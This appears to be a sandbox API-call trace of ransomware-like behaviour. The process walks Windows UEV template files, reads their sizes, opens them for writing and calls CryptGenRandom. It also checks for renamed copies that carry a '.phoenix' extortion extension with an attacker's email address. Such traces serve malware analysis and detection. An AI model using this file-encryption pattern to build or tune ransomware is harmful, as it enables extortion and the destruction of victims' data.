	[0250.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.677] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.678] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65734) returned 1
	[0250.678] CloseHandle (hObject=0x2c4) returned 1
	[0250.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20
	[0250.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.678] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.678] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1286) returned 1
	[0250.678] CloseHandle (hObject=0x2c4) returned 1
	[0250.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml")) returned 0x20
	[0250.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.679] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.679] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.679] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1286) returned 1
	[0250.679] CloseHandle (hObject=0x2c4) returned 1
	[0250.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml")) returned 0x20
	[0250.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.679] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.679] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.679] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.679] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1289) returned 1
	[0250.679] CloseHandle (hObject=0x2c4) returned 1
	[0250.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml")) returned 0x20
	[0250.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.680] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.680] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1289) returned 1
	[0250.680] CloseHandle (hObject=0x2c4) returned 1
	[0250.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml")) returned 0x20
	[0250.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.680] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.681] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2891) returned 1
	[0250.681] CloseHandle (hObject=0x2c4) returned 1
	[0250.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml")) returned 0x20
	[0250.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.681] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.681] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2891) returned 1
	[0250.681] CloseHandle (hObject=0x2c4) returned 1
	[0250.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20
	[0250.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.682] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1005) returned 1
	[0250.682] CloseHandle (hObject=0x2c4) returned 1
	[0250.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20
	[0250.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.682] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2143) returned 1
	[0250.683] CloseHandle (hObject=0x2c4) returned 1
	[0250.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20
	[0250.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.683] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.683] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3417) returned 1
	[0250.683] CloseHandle (hObject=0x2c4) returned 1
	[0250.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20
	[0250.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.683] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.684] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.684] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2606) returned 1
	[0250.684] CloseHandle (hObject=0x2c4) returned 1
	[0250.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20
	[0250.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.684] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.684] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=892) returned 1
	[0250.684] CloseHandle (hObject=0x2c4) returned 1
	[0250.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20
	[0250.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.685] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.685] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9708) returned 1
	[0250.685] CloseHandle (hObject=0x2c4) returned 1
	[0250.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20
	[0250.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.685] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.686] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11296) returned 1
	[0250.686] CloseHandle (hObject=0x2c4) returned 1
	[0250.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20
	[0250.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.686] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.750] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14116) returned 1
	[0250.750] CloseHandle (hObject=0x2d4) returned 1
	[0250.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20
	[0250.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.750] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.751] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.751] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=0) returned 1
	[0250.751] CloseHandle (hObject=0x2d4) returned 1
	[0250.751] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
